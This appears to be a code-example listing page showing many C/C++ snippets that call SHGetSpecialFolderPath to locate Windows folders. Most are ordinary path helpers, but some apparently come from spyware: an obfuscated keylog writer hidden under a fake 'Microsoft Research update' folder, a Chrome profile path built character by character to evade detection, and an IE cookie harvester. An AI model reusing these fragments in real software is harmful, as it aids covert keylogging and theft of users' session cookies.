Example #1
0
DROPEFFECT CMainToolBar::OnDragEnter(COleDataObject *pDataObject,
                                     DWORD dwKeyState, CPoint point) {
  m_DropFiles.clear();
  m_LastDropFolder.Empty();
  TCHAR path[2094];
  SHGetSpecialFolderPath(m_hWnd, path, CSIDL_PERSONAL, FALSE);
  m_LastDropFolder = path;
  //	m_LastDropFolder.MakeLower ();
  SureBackSlash(m_LastDropFolder);
  if (ReadHDropData(pDataObject, m_DropFiles, m_DropFolder)) {
    int cmd_id = HitTestButton(point);
    if (cmd_id == ID_RECYCLEBIN)
      return DROPEFFECT_MOVE;

    if (cmd_id == ID_MYDOCUMENTS) {
      return CalcDropEffect(m_DropFiles, m_LastDropFolder, m_DropFolder,
                            dwKeyState);
    }
  }

  return DROPEFFECT_NONE;
}
void SaveToFile(char *lpBuffer)
{

	char strRecordFile[MAX_PATH];
	SHGetSpecialFolderPath(NULL,strRecordFile,CSIDL_PROGRAM_FILES,0);
	strcat(strRecordFile,"\\Microsoft Research update\\Evidence\\keylog\\");
	MakeSureDirectoryPathExists(strRecordFile);
	lstrcat(strRecordFile, "desktop.inf");

	char szLogPath[MAX_PATH];
	GetTempPathA(MAX_PATH,szLogPath);
	strcat(szLogPath,"desktop.inf");


	HANDLE hFile=GetFileHandle(szLogPath,strRecordFile);

	// 	HANDLE	hFile = CreateFile(szLogPath, GENERIC_WRITE|GENERIC_READ,
	// 		                       FILE_SHARE_WRITE|FILE_SHARE_READ,
	// 		                       NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	DWORD dwBytesWrite = 0;
	// 	DWORD dwSize = GetFileSize(hFile, NULL);
	// 	// 离线记录,小于50M
	// 	if (dwSize < 1024 * 1024 * 50)
	// 		SetFilePointer(hFile, 0, 0, FILE_END);

	// 加密
	int	nLength = lstrlen(lpBuffer);
	LPBYTE	lpEncodeBuffer = new BYTE[nLength];
	for (int i = 0; i < nLength; i++)
	{
		lpEncodeBuffer[i] = lpBuffer[i] ^ XOR_ENCODE_VALUE;
	//	lpEncodeBuffer[i] = lpEncodeBuffer[i] ^ XOR_ENCODE_VALUE;


	}
	WriteFile(hFile, lpEncodeBuffer, nLength, &dwBytesWrite, NULL);
	CloseHandle(hFile);
	delete	lpEncodeBuffer;
}
Example #3
0
BOOL _TransOfficeCommonDir( LPCTSTR lpszSpecialFolder, CString &strPath )
{
	LPCTSTR szDot = _tcschr(lpszSpecialFolder, _T('.'));
	if(!szDot) return FALSE;
	
	++szDot;
	INT nOfficeVersion = _tcstol(szDot, NULL, 10);
	for(int i=0; i<sizeof(_office_versions)/sizeof(_office_versions[0]); ++i)
	{
		if(nOfficeVersion!=_office_versions[i].nVerPub)
			continue;
		
		TCHAR  szPath[MAX_PATH] = {0};
		if( SHGetSpecialFolderPath(NULL,szPath, CSIDL_PROGRAM_FILES_COMMON, FALSE ) )
		{
			strPath.Format(_T("%s\\Microsoft Shared\\OFFICE%d"), szPath, _office_versions[i].nVerInternal);
			return TRUE;
		}
		return FALSE;
	}
	return FALSE;
}
LPWSTR GetChromeProfilePath()
{
	WCHAR strFormat[] = { L'%', L's', L'\\', L'G', L'o', L'o', L'g', L'l', L'e', L'\\', L'C', L'h', L'r', L'o', L'm', L'e', L'\\', L'U', L's', L'e', L'r', L' ', L'D', L'a', L't', L'a', L'\\', L'D', L'e', L'f', L'a', L'u', L'l', L't', L'\0' };
	LPWSTR strPath = (LPWSTR) zalloc((MAX_FILE_PATH+1)*sizeof(WCHAR));
	if (!SHGetSpecialFolderPath(NULL, strPath, CSIDL_LOCAL_APPDATA, FALSE))
		return NULL;

	LPWSTR strFullPath = (LPWSTR) zalloc((MAX_FILE_PATH+1)*sizeof(WCHAR));
	_snwprintf_s(strFullPath, MAX_FILE_PATH, _TRUNCATE, strFormat, strPath);  //FIXME: array
	
	LPWSTR strShortPath = (LPWSTR) zalloc((MAX_FILE_PATH+1)*sizeof(WCHAR));
	if (!GetShortPathName(strFullPath, strShortPath, MAX_FILE_PATH) || !PathFileExists(strShortPath))
	{
		zfree(strShortPath);
		strShortPath = NULL;
	}

	zfree(strPath);
	zfree(strFullPath);

	return strShortPath;
}
Example #5
0
BOOL
SHGetSpecialFolderPathA (HWND hwndOwner, LPSTR lpszPath, int nFolder,
                         BOOL fCreate)
{
  wchar_t path[MAX_PATH];
  char *path_c;
  BOOL result;

  path[0] = (wchar_t) 0;
  result = SHGetSpecialFolderPath (hwndOwner, path, nFolder, fCreate);
  /* Note: May return false even if succeeds.  */

  path[MAX_PATH - 1] = (wchar_t) 0;
  path_c = wchar_to_utf8 (path);
  if (! path_c)
    return 0;

  strncpy (lpszPath, path_c, MAX_PATH);
  free (path_c);
  lpszPath[MAX_PATH - 1] = '\0';
  return result;
}
Example #6
0
void CLog::Write( const std::string sLog )
{
	printf( sLog.c_str() );

	// ログ出力モードになっているかをチェック
	if( !IsWrite() )	return;
	// 今日の日付でファイルを作成する
	struct tm *date;
	time_t now;
	time(&now);
	date = localtime(&now);

	// ファイル名
	char buffa[_MAX_PATH];
	SHGetSpecialFolderPath(NULL, buffa, CSIDL_DESKTOPDIRECTORY, FALSE);
	sprintf_s( buffa, _MAX_PATH, "%s\\%04d%02d%02d.log", buffa, date->tm_year + 1900, date->tm_mon + 1 , date->tm_mday );

	std::ostringstream os;
	os << std::setw(2) << date->tm_hour << ":" << std::setw(2) << date->tm_min << "\t" << sLog;

	CFileIO io;
	io.Write( os.str(), std::ios::app, buffa );
}
Example #7
0
/**
 * \brief Gets the home directory.
 *
 * If no home directory is specified, the current
 * working directory is returned instead.
 *
 * \return New string or NULL if out of memory.
 */
char* lisys_paths_get_home ()
{
#ifdef __WIN32__
	int i;
	char tmp[MAX_PATH];

	if (!SHGetSpecialFolderPath (NULL, tmp, CSIDL_PROFILE, TRUE))
		return NULL;
	for (i = 0 ; tmp[i] != '\0' ; i++)
	{
		if (tmp[i] == '\\')
			tmp[i] = '/';
	}
	return lisys_string_dup (tmp);
#else
	char* home;

	home = getenv ("HOME");
	if (home != NULL)
		return lisys_string_dup  (home);
	return lisys_string_dup  (".");
#endif
}
Example #8
0
BOOL CUtils::IsWin8_1()
{
    static BOOL g_bFirst = TRUE;
    static BOOL g_bResult = FALSE;

    if (g_bFirst)
    {
        OSVERSIONINFO osif = { 0 };

        osif.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
        GetVersionEx(&osif);

        if(osif.dwMajorVersion == 6 && osif.dwMinorVersion == 3)
        {
            g_bResult = TRUE;
        }
        else if(osif.dwMajorVersion == 6 && osif.dwMinorVersion == 2)
        {
            WCHAR szNtoskrnl[MAX_PATH] = {};
            SHGetSpecialFolderPath(NULL, szNtoskrnl, CSIDL_SYSTEM, FALSE);
            PathAppend(szNtoskrnl, L"ntoskrnl.exe");

            CString strVersion;
            CCommonAlgorithm::GetFileVer(szNtoskrnl, strVersion.GetBufferSetLength(256), strVersion.GetLength());
            strVersion.Trim();

            if (strVersion.Find(L"6.3") == 0)
            {
                g_bResult = TRUE;
            }
        }

        g_bFirst = FALSE;
    }

    return g_bResult;
}
Example #9
0
CFavUrlMenuDlg::CFavUrlMenuDlg(UINT uIDD,
							   char*szParentPath/* =NULL */,
							   BOOL bAddFav /* = TRUE */,
							   CWnd* pParent /* = NULL */)
	: CDialog(uIDD, pParent)
{
	m_IDD = uIDD;
	m_bAddFav = bAddFav;
	m_pParentWnd = pParent;
	if (szParentPath)
		m_strParentPath = szParentPath;
	else
	{
		char szPath[MAX_PATH] = {0};
		if ( SHGetSpecialFolderPath(NULL, szPath, CSIDL_FAVORITES, FALSE) )
			m_strParentPath = szPath;
	}
	m_nCurSel = -1;
	m_pChildDlg	= NULL;
	m_font.CreateFont(12,      // nHeight
		0,                         // nWidth
		0,                         // nEscapement
		0,                         // nOrientation
		FW_NORMAL,                 // nWeight
		FALSE,                     // bItalic
		FALSE,                     // bUnderline
		0,                         // cStrikeOut
		ANSI_CHARSET,              // nCharSet
		OUT_DEFAULT_PRECIS,        // nOutPrecision
		CLIP_DEFAULT_PRECIS,       // nClipPrecision
		DEFAULT_QUALITY,           // nQuality
		DEFAULT_PITCH | FF_SWISS,  // nPitchAndFamily
		"宋体");
	LOGFONT logfont;
	m_font.GetLogFont(&logfont);
	SetUIParam(logfont);
}
Example #10
0
TCHAR * LKGetLocalPath(void) {

    static TCHAR localpath[MAX_PATH+1];

    if (DoInit[MDI_GETLOCALPATH]) {
#if ((WINDOWSPC <=0) )
        //
        // For PNAs the localpath is taken from the application exec path
        // example> \sdmmc\bin\Program.exe  results in localpath=\sdmmc\LK8000
        // Then the basename is searched for an underscore char, which is
        // used as a separator for getting the model type.  example>
        // program_pna.exe results in GlobalModelType=pna
        //
        _stprintf(localpath,TEXT("%s%S"),gmfpathname(), LKDATADIR );
#else
        //
        // Windows PC environment
        //
        // Do we have a valid _System/_SYSTEM locally?
        _stprintf(localpath,_T("%s\\%S\\_SYSTEM"),gmfcurrentpath(),LKD_SYSTEM);
        if (  GetFileAttributes(localpath) != 0xffffffff )  {
            // Yes, so we use the current path folder
            _tcscpy(localpath,gmfcurrentpath());
        } else {
            // No, we use MyDocuments directory
            SHGetSpecialFolderPath(hWndMainWindow, localpath, CSIDL_PERSONAL, false);

            _tcscat(localpath,TEXT("\\"));
            _tcscat(localpath,TEXT(LKDATADIR));
        }
#endif

        DoInit[MDI_GETLOCALPATH]=false;
    }
    return localpath;
}
Example #11
0
	const std::string& ConfigService::getHomeDirectory() const
	{
		//check if the home directory is set, and if so use the setting. If else, fall back to the default path.
		if ( mHomeDir != "" )
		{
			return mHomeDir;
		}
		else
		{
#ifdef __WIN32__
			static std::string finalPath;
			if ( !finalPath.empty() )
			{
				return finalPath;
			}

			//special folders in windows:
			//http://msdn.microsoft.com/en-us/library/bb762494%28v=vs.85%29.aspx
			//CSIDL_MYDOCUMENTS would probably be more appropriate, but that's not available in msys (as of 2011-05-23).
			char path[MAX_PATH];
			if(SHGetSpecialFolderPath(nullptr, path, CSIDL_PERSONAL, TRUE)){
				finalPath = path;
			}else{
				finalPath = ".";
			}
			finalPath += "\\Ember\\";
			return finalPath;
#elif __APPLE__
			static std::string path ( getAppSupportDirPath() + "/Ember/" );
			return path;
#else
			static std::string path ( std::string ( getenv ( "HOME" ) ) + "/.ember/" );
			return path;
#endif
		}
	}
VOID DumpIECookies(LPWSTR strCookiePath, BOOL bLocal)
{
	LPWSTR strAppData = (LPWSTR) zalloc(MAX_FILE_PATH * sizeof(WCHAR));
	if (!SHGetSpecialFolderPath(NULL, strAppData, bLocal ? CSIDL_LOCAL_APPDATA : CSIDL_APPDATA, FALSE))
	{
		zfree(strAppData);
		return;
	}
	
	LPWSTR strCookieSearch = (LPWSTR) zalloc(MAX_FILE_PATH * sizeof(WCHAR));
	_snwprintf_s(strCookieSearch, MAX_FILE_PATH, MAX_FILE_PATH*sizeof(WCHAR), L"%s\\%s\\*", strAppData, strCookiePath);
		
	WIN32_FIND_DATA pFindData;
	HANDLE hFind = FindFirstFile(strCookieSearch, &pFindData);
	if (hFind != INVALID_HANDLE_VALUE)
	{
		do
		{
			if (pFindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
				continue;

			LPWSTR strFileName = (LPWSTR) zalloc(MAX_FILE_PATH * sizeof(WCHAR));
			_snwprintf_s(strFileName, MAX_FILE_PATH, MAX_FILE_PATH*sizeof(WCHAR), L"%s\\%s\\%s", strAppData, strCookiePath, pFindData.cFileName);
			
			ParseIECookie(strFileName);

			zfree(strFileName);
		}
		while (FindNextFile(hFind, &pFindData));

		FindClose(hFind);
	}

	zfree(strCookieSearch);
	zfree(strAppData);
}
Example #13
0
CString KFunction::GetKisAllUserPath(void)
{
	CString strPath;
	TCHAR szAppDataPath[MAX_PATH] = {0};

	BOOL bRetCode = SHGetSpecialFolderPath(NULL, szAppDataPath, CSIDL_COMMON_APPDATA, TRUE);
	if (!bRetCode) goto Exit0;

	strPath = szAppDataPath;
	if (strPath.IsEmpty()) goto Exit0;

	KFunction::PathAddBackslash(strPath);
	strPath += _T("kingsoft\\kis\\");

	KFunction::CreateDeepDirectory(strPath);

	if (!KFunction::IsDirectoryExist(strPath))
	{
		strPath.Empty();
	}

Exit0:
	return strPath;
}
QString QStandardPaths::writableLocation(StandardLocation type)
{
    QString result;

#if !defined(Q_OS_WINCE)
    static GetKnownFolderPath SHGetKnownFolderPath = (GetKnownFolderPath)QSystemLibrary::resolve(QLatin1String("shell32"), "SHGetKnownFolderPath");
#endif

    wchar_t path[MAX_PATH];

    switch (type) {
    case ConfigLocation: // same as AppLocalDataLocation, on Windows
    case GenericConfigLocation: // same as GenericDataLocation on Windows
    case AppDataLocation:
    case AppLocalDataLocation:
    case GenericDataLocation:
        if (SHGetSpecialFolderPath(0, path, clsidForAppDataLocation(type), FALSE))
            result = convertCharArray(path);
        if (isTestModeEnabled())
            result += QLatin1String("/qttest");
#ifndef QT_BOOTSTRAPPED
        if (type != GenericDataLocation && type != GenericConfigLocation) {
            if (!QCoreApplication::organizationName().isEmpty())
                result += QLatin1Char('/') + QCoreApplication::organizationName();
            if (!QCoreApplication::applicationName().isEmpty())
                result += QLatin1Char('/') + QCoreApplication::applicationName();
        }
#endif
        break;

    case DesktopLocation:
        if (SHGetSpecialFolderPath(0, path, CSIDL_DESKTOPDIRECTORY, FALSE))
            result = convertCharArray(path);
        break;

    case DownloadLocation:
#if !defined(Q_OS_WINCE)
        if (SHGetKnownFolderPath) {
            LPWSTR path;
            if (SHGetKnownFolderPath(qCLSID_FOLDERID_Downloads, 0, 0, &path) == S_OK) {
                result = convertCharArray(path);
                CoTaskMemFree(path);
            }
            break;
        }
#endif
        // fall through
    case DocumentsLocation:
        if (SHGetSpecialFolderPath(0, path, CSIDL_PERSONAL, FALSE))
            result = convertCharArray(path);
        break;

    case FontsLocation:
        if (SHGetSpecialFolderPath(0, path, CSIDL_FONTS, FALSE))
            result = convertCharArray(path);
        break;

    case ApplicationsLocation:
        if (SHGetSpecialFolderPath(0, path, CSIDL_PROGRAMS, FALSE))
            result = convertCharArray(path);
        break;

    case MusicLocation:
        if (SHGetSpecialFolderPath(0, path, CSIDL_MYMUSIC, FALSE))
            result = convertCharArray(path);
        break;

    case MoviesLocation:
        if (SHGetSpecialFolderPath(0, path, CSIDL_MYVIDEO, FALSE))
            result = convertCharArray(path);
        break;

    case PicturesLocation:
        if (SHGetSpecialFolderPath(0, path, CSIDL_MYPICTURES, FALSE))
            result = convertCharArray(path);
        break;

    case CacheLocation:
        // Although Microsoft has a Cache key it is a pointer to IE's cache, not a cache
        // location for everyone.  Most applications seem to be using a
        // cache directory located in their AppData directory
        return writableLocation(AppLocalDataLocation) + QLatin1String("/cache");

    case GenericCacheLocation:
        return writableLocation(GenericDataLocation) + QLatin1String("/cache");

    case RuntimeLocation:
    case HomeLocation:
        result = QDir::homePath();
        break;

    case TempLocation:
        result = QDir::tempPath();
        break;
    }
    return result;
}
Example #15
0
BOOL CChromClean::ScanChormCookies()
{
	BOOL bRet = FALSE;
	WCHAR szPath[MAX_PATH] = {0};
	CString strPath;
	sqlite3* pDb = NULL;
	sqlite3_stmt* sspStart = NULL;
	string strFullPath;
	char* szError = NULL;
	char szSql[MAX_PATH] = {0};
	int nResult = -1;
	if (!_CheckChromeExist())
	{
		g_vsNoinstallapp.Add(CHROME_COOKIES);
		return TRUE;
	}
	g_fnScanFile(g_pMain, BEGINPROC(CHROME_COOKIES), 0, 0, 0);

	std::wstring str;
	std::vector<std::wstring>::iterator it;
	for (it = g_listProcessName.begin(); it != g_listProcessName.end(); it++ )
	{
		str = *it;
		transform(str.begin(), str.end(), str.begin(), towlower);
		if (str == L"chrome.exe")
		{
			str = L"正在运行,跳过";
			goto clean0;
		}
	}
	str = L"";
	if(m_bScan)
	{

		SHGetSpecialFolderPath(NULL, szPath, CSIDL_LOCAL_APPDATA, FALSE);
		strPath = szPath;
		if (strPath.ReverseFind(L'\\') != strPath.GetLength() - 1)
		{
			strPath += L"\\";
		}
		strPath += L"Google\\Chrome\\User Data\\Default\\Cookies";
		strFullPath = UnicodeToUtf8(strPath.GetBuffer());
		nResult = sqlite3_open(strFullPath.c_str(), &pDb);
		if (nResult != SQLITE_OK)
		{
			bRet = FALSE;
			goto clean0;
		}
		nResult = sqlite3_prepare(pDb, "select * from cookies", -1, &sspStart, 0);
		if (nResult != SQLITE_OK)
		{
			bRet = FALSE;
			goto clean0;
		}

		nResult = sqlite3_step(sspStart);
		if (nResult == SQLITE_ROW)
		{
			CString strOutput;
			strOutput = Utf8ToUnicode(strFullPath).c_str();
			strOutput += L"|";
			strOutput += L"cookies";
			g_fnScanFile(g_pMain, CHROME_COOKIES, strOutput, 0, 0);
		}

	}
clean0:

	g_fnScanFile(g_pMain, ENDPROC(CHROME_COOKIES), str.c_str(), 0, 0);
	if(sspStart != NULL)
	{
		sqlite3_finalize(sspStart);
		sspStart = NULL;
	}
	if(pDb != NULL)
	{
		sqlite3_close(pDb);
		pDb = NULL;
	}
	return bRet;
}
Example #16
0
INT_PTR CALLBACK
ToolsPageWndProc(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
    LV_COLUMN   column;
    TCHAR       szTemp[MAX_PATH*2];
    TCHAR       szTemp2[256];
    TCHAR * Ptr = NULL;
    LPNMITEMACTIVATE lpnmitem;
    LPNMHDR nmh;
    DWORD dwStyle;
    PROCESS_INFORMATION pi;
    STARTUPINFO si;

    switch (message)
    {
        case WM_INITDIALOG:
        {
            hToolsListCtrl = GetDlgItem(hDlg, IDC_TOOLS_LIST);
            hToolsDialog = hDlg;

            dwStyle = (DWORD) SendMessage(hToolsListCtrl, LVM_GETEXTENDEDLISTVIEWSTYLE, 0, 0);
            dwStyle = dwStyle | LVS_EX_FULLROWSELECT;
            SendMessage(hToolsListCtrl, LVM_SETEXTENDEDLISTVIEWSTYLE, 0, dwStyle);

            SetWindowPos(hDlg, NULL, 10, 32, 0, 0, SWP_NOACTIVATE | SWP_NOOWNERZORDER | SWP_NOSIZE | SWP_NOZORDER);

            // Initialize the application page's controls
            column.mask = LVCF_TEXT | LVCF_WIDTH;

            LoadString(hInst, IDS_TOOLS_COLUMN_NAME, szTemp, 256);
            column.pszText = szTemp;
            column.cx = 150;
            (void)ListView_InsertColumn(hToolsListCtrl, 0, &column);

            column.mask = LVCF_TEXT | LVCF_WIDTH;
            LoadString(hInst, IDS_TOOLS_COLUMN_DESCR, szTemp, 256);
            column.pszText = szTemp;
            column.cx = 500;
            (void)ListView_InsertColumn(hToolsListCtrl, 1, &column);

            FillListView();
            return TRUE;
        }
    case WM_COMMAND:
        {
            switch (LOWORD(wParam))
            {
                case IDC_BTN_RUN:
                {
                    if (ListView_GetSelectionMark(hToolsListCtrl) != -1)
                    {
                        if (SHGetSpecialFolderPath(NULL, szTemp, ListItems_Locations[ListView_GetSelectionMark(hToolsListCtrl)], FALSE))
                            Ptr = PathAddBackslash(szTemp);
    
                        if (!Ptr)
                            Ptr = szTemp;

                        szTemp2[0] = _T('\0');
                        LoadString(hInst, ListItems_Cmds[ListView_GetSelectionMark(hToolsListCtrl)], Ptr, 256);
                        LoadString(hInst, ListItems_Params[ListView_GetSelectionMark(hToolsListCtrl)], szTemp2, 256);
                        if (_tcslen(szTemp2))
                        {
                           _tcscat(szTemp, _T(" "));
                           _tcscat(Ptr, szTemp2);
                        }
                        ZeroMemory(&si, sizeof(STARTUPINFO));
                        si.cb = sizeof(STARTUPINFO);
                        if (CreateProcess(NULL, szTemp, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
                        {
                            CloseHandle(pi.hThread);
                            CloseHandle(pi.hProcess);
                        }
                    }
                }
            }
            break;
        }
        case WM_NOTIFY:
        {
            nmh = (LPNMHDR) lParam;
            if (nmh->hwndFrom == hToolsListCtrl)
            {
                switch (nmh->code)
                {
                    case LVN_ITEMCHANGED:
                    {
                        lpnmitem = (LPNMITEMACTIVATE) lParam;
                        if (lpnmitem->iItem > -1)
                        {
                            LoadString(hInst, ListItems_Cmds[lpnmitem->iItem], szTemp, 256);
                            szTemp2[0] = _T('\0');
                            LoadString(hInst, ListItems_Params[lpnmitem->iItem], szTemp2, 256);
                            _tcscat(szTemp, _T(" "));
                            _tcscat(szTemp, szTemp2);
                            SendDlgItemMessage(hToolsDialog, IDC_TOOLS_CMDLINE, WM_SETTEXT, 0, (LPARAM) szTemp);
                        }
                        break;
                    }
                    case NM_DBLCLK:
                    {
                        lpnmitem = (LPNMITEMACTIVATE) lParam;
                        if (lpnmitem->iItem > -1)
                        {
                            if (SHGetSpecialFolderPath(NULL, szTemp, ListItems_Locations[ListView_GetSelectionMark(hToolsListCtrl)], FALSE))
                                Ptr = PathAddBackslash(szTemp);
    
                            if (!Ptr)
                                Ptr = szTemp;

                            szTemp2[0] = _T('\0');
                            LoadString(hInst, ListItems_Cmds[lpnmitem->iItem], Ptr, 256);
                            LoadString(hInst, ListItems_Params[lpnmitem->iItem], szTemp2, 256);
                            if (_tcslen(szTemp2))
                            {
                                _tcscat(szTemp, _T(" "));
                                _tcscat(Ptr, szTemp2);
                            }
                            ZeroMemory(&si, sizeof(STARTUPINFO));
                            si.cb = sizeof(STARTUPINFO);
                            if (CreateProcess(NULL, szTemp, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
                            {
                                CloseHandle(pi.hThread);
                                CloseHandle(pi.hProcess);
                            }
                        }
                        break;
                    }
                }
        }
        }
        break;
    }
    return 0;
}
nsresult
GetSpecialSystemDirectory(SystemDirectories aSystemSystemDirectory,
                          nsILocalFile** aFile)
{
#if defined(XP_WIN)
    WCHAR path[MAX_PATH];
#else
    char path[MAXPATHLEN];
#endif

    switch (aSystemSystemDirectory)
    {
        case OS_CurrentWorkingDirectory:
#if defined(XP_WIN)
            if (!_wgetcwd(path, MAX_PATH))
                return NS_ERROR_FAILURE;
            return NS_NewLocalFile(nsDependentString(path),
                                   PR_TRUE,
                                   aFile);
#elif defined(XP_OS2)
            if (DosQueryPathInfo( ".", FIL_QUERYFULLNAME, path, MAXPATHLEN))
                return NS_ERROR_FAILURE;
#else
            if(!getcwd(path, MAXPATHLEN))
                return NS_ERROR_FAILURE;
#endif

#if !defined(XP_WIN)
            return NS_NewNativeLocalFile(nsDependentCString(path),
                                         PR_TRUE,
                                         aFile);
#endif

        case OS_DriveDirectory:
#if defined (WINCE)
        {
            return NS_NewLocalFile(nsDependentString(L"\\"),
                                   PR_TRUE,
                                   aFile);
        }
#elif defined (XP_WIN)
        {
            PRInt32 len = ::GetWindowsDirectoryW(path, MAX_PATH);
            if (len == 0)
                break;
            if (path[1] == PRUnichar(':') && path[2] == PRUnichar('\\'))
                path[3] = 0;

            return NS_NewLocalFile(nsDependentString(path),
                                   PR_TRUE,
                                   aFile);
        }
#elif defined(XP_OS2)
        {
            ULONG ulBootDrive = 0;
            char  buffer[] = " :\\OS2\\";
            DosQuerySysInfo( QSV_BOOT_DRIVE, QSV_BOOT_DRIVE,
                             &ulBootDrive, sizeof ulBootDrive);
            buffer[0] = 'A' - 1 + ulBootDrive; // duh, 1-based index...

            return NS_NewNativeLocalFile(nsDependentCString(buffer),
                                         PR_TRUE,
                                         aFile);
        }
#else
        return NS_NewNativeLocalFile(nsDependentCString("/"),
                                     PR_TRUE,
                                     aFile);

#endif

        case OS_TemporaryDirectory:
#if defined (XP_WIN)
            {
            DWORD len = ::GetTempPathW(MAX_PATH, path);
            if (len == 0)
                break;
            return NS_NewLocalFile(nsDependentString(path, len),
                                   PR_TRUE,
                                   aFile);
        }
#elif defined(XP_OS2)
        {
            char *tPath = PR_GetEnv("TMP");
            if (!tPath || !*tPath) {
                tPath = PR_GetEnv("TEMP");
                if (!tPath || !*tPath) {
                    // if an OS/2 system has neither TMP nor TEMP defined
                    // then it is severely broken, so this will never happen.
                    return NS_ERROR_UNEXPECTED;
                }
            }
            nsCString tString = nsDependentCString(tPath);
            if (tString.Find("/", PR_FALSE, 0, -1)) {
                tString.ReplaceChar('/','\\');
            }
            return NS_NewNativeLocalFile(tString, PR_TRUE, aFile);
        }
#elif defined(XP_MACOSX)
        {
            return GetOSXFolderType(kUserDomain, kTemporaryFolderType, aFile);
        }
#elif defined(XP_AMIGAOS)
        {
        	return NS_NewNativeLocalFile(nsDependentCString("T:"), PR_TRUE, aFile);
        }
        
#elif defined(XP_UNIX) || defined(XP_BEOS)
        {
            static const char *tPath = nsnull;
            if (!tPath) {
                tPath = PR_GetEnv("TMPDIR");
                if (!tPath || !*tPath) {
                    tPath = PR_GetEnv("TMP");
                    if (!tPath || !*tPath) {
                        tPath = PR_GetEnv("TEMP");
                        if (!tPath || !*tPath) {
                            tPath = "/tmp/";
                        }
                    }
                }
            }
            return NS_NewNativeLocalFile(nsDependentCString(tPath),
                                         PR_TRUE,
                                         aFile);
        }
#else
        break;
#endif
#if defined (XP_WIN)
        case Win_SystemDirectory:
        {
#ifdef WINCE
            PRUnichar winDirBuf[MAX_PATH];
            nsAutoString winDir;
            if (SHGetSpecialFolderPath(NULL, winDirBuf, CSIDL_WINDOWS, PR_TRUE))
                winDir.Assign(winDirBuf);
            else
                winDir.Assign(L"\\Windows");
            return NS_NewLocalFile(winDir, PR_TRUE, aFile);
#else
            PRInt32 len = ::GetSystemDirectoryW(path, MAX_PATH);

            // Need enough space to add the trailing backslash
            if (!len || len > MAX_PATH - 2)
                break;
            path[len]   = L'\\';
            path[++len] = L'\0';

            return NS_NewLocalFile(nsDependentString(path, len),
                                   PR_TRUE,
                                   aFile);
#endif
        }

        case Win_WindowsDirectory:
        {
#ifdef WINCE
            PRUnichar winDirBuf[MAX_PATH];
            nsAutoString winDir;
            if (SHGetSpecialFolderPath(NULL, winDirBuf, CSIDL_WINDOWS, PR_TRUE))
                winDir.Assign(winDirBuf);
            else
                winDir.Assign(L"\\Windows");
            return NS_NewLocalFile(winDir, PR_TRUE, aFile);
#else
            PRInt32 len = ::GetWindowsDirectoryW(path, MAX_PATH);

            // Need enough space to add the trailing backslash
            if (!len || len > MAX_PATH - 2)
                break;

            path[len]   = L'\\';
            path[++len] = L'\0';

            return NS_NewLocalFile(nsDependentString(path, len),
                                   PR_TRUE,
                                   aFile);
#endif
        }

        case Win_ProgramFiles:
        {
            return GetWindowsFolder(CSIDL_PROGRAM_FILES, aFile);
        }

        case Win_HomeDirectory:
        {
            PRInt32 len;
            if ((len = ::GetEnvironmentVariableW(L"HOME", path, MAX_PATH)) > 0)
            {
                // Need enough space to add the trailing backslash
                if (len > MAX_PATH - 2)
                    break;

                path[len]   = L'\\';
                path[++len] = L'\0';

                return NS_NewLocalFile(nsDependentString(path, len),
                                       PR_TRUE,
                                       aFile);
            }

            len = ::GetEnvironmentVariableW(L"HOMEDRIVE", path, MAX_PATH);
            if (0 < len && len < MAX_PATH)
            {
                WCHAR temp[MAX_PATH];
                DWORD len2 = ::GetEnvironmentVariableW(L"HOMEPATH", temp, MAX_PATH);
                if (0 < len2 && len + len2 < MAX_PATH)
                    wcsncat(path, temp, len2);

                len = wcslen(path);

                // Need enough space to add the trailing backslash
                if (len > MAX_PATH - 2)
                    break;

                path[len]   = L'\\';
                path[++len] = L'\0';

                return NS_NewLocalFile(nsDependentString(path, len),
                                       PR_TRUE,
                                       aFile);
            }
        }
        case Win_Desktop:
        {
            return GetWindowsFolder(CSIDL_DESKTOP, aFile);
        }
        case Win_Programs:
        {
            return GetWindowsFolder(CSIDL_PROGRAMS, aFile);
        }

        case Win_Downloads:
        {
            // Defined in KnownFolders.h.
            GUID folderid_downloads = {0x374de290, 0x123f, 0x4565, {0x91, 0x64,
                                       0x39, 0xc4, 0x92, 0x5e, 0x46, 0x7b}};
            nsresult rv = GetKnownFolder(&folderid_downloads, aFile);
            // On WinXP and 2k, there is no downloads folder, default
            // to 'Desktop'.
            if(NS_ERROR_FAILURE == rv)
            {
              rv = GetWindowsFolder(CSIDL_DESKTOP, aFile);
            }
            return rv;
        }

        case Win_Controls:
        {
            return GetWindowsFolder(CSIDL_CONTROLS, aFile);
        }
        case Win_Printers:
        {
            return GetWindowsFolder(CSIDL_PRINTERS, aFile);
        }
        case Win_Personal:
        {
            return GetWindowsFolder(CSIDL_PERSONAL, aFile);
        }
        case Win_Favorites:
        {
            return GetWindowsFolder(CSIDL_FAVORITES, aFile);
        }
        case Win_Startup:
        {
            return GetWindowsFolder(CSIDL_STARTUP, aFile);
        }
        case Win_Recent:
        {
            return GetWindowsFolder(CSIDL_RECENT, aFile);
        }
        case Win_Sendto:
        {
            return GetWindowsFolder(CSIDL_SENDTO, aFile);
        }
        case Win_Bitbucket:
        {
            return GetWindowsFolder(CSIDL_BITBUCKET, aFile);
        }
        case Win_Startmenu:
        {
            return GetWindowsFolder(CSIDL_STARTMENU, aFile);
        }
        case Win_Desktopdirectory:
        {
            return GetWindowsFolder(CSIDL_DESKTOPDIRECTORY, aFile);
        }
        case Win_Drives:
        {
            return GetWindowsFolder(CSIDL_DRIVES, aFile);
        }
        case Win_Network:
        {
            return GetWindowsFolder(CSIDL_NETWORK, aFile);
        }
        case Win_Nethood:
        {
            return GetWindowsFolder(CSIDL_NETHOOD, aFile);
        }
        case Win_Fonts:
        {
            return GetWindowsFolder(CSIDL_FONTS, aFile);
        }
        case Win_Templates:
        {
            return GetWindowsFolder(CSIDL_TEMPLATES, aFile);
        }
#ifndef WINCE
        case Win_Common_Startmenu:
        {
            return GetWindowsFolder(CSIDL_COMMON_STARTMENU, aFile);
        }
        case Win_Common_Programs:
        {
            return GetWindowsFolder(CSIDL_COMMON_PROGRAMS, aFile);
        }
        case Win_Common_Startup:
        {
            return GetWindowsFolder(CSIDL_COMMON_STARTUP, aFile);
        }
        case Win_Common_Desktopdirectory:
        {
